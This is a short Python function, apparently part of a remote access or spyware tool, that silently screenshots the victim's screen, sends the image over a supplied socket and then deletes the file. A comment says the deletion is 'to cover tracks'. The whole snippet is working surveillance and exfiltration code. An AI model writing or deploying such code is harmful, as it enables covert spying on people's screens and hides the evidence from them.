import pyautogui
import os


def capture_screenshot(my_socket):
    print("[+] Taing screenshot")
    screenshot = pyautogui.screenshot()

    screenshot_name = "screenshot.png"

    screenshot.save(screenshot_name)  # saving it as a file to send

    my_socket.send_file(screenshot_name)
    print("[+] Screenshot sent successfully")

    os.remove(screenshot_name)  # deleting to cover tracks
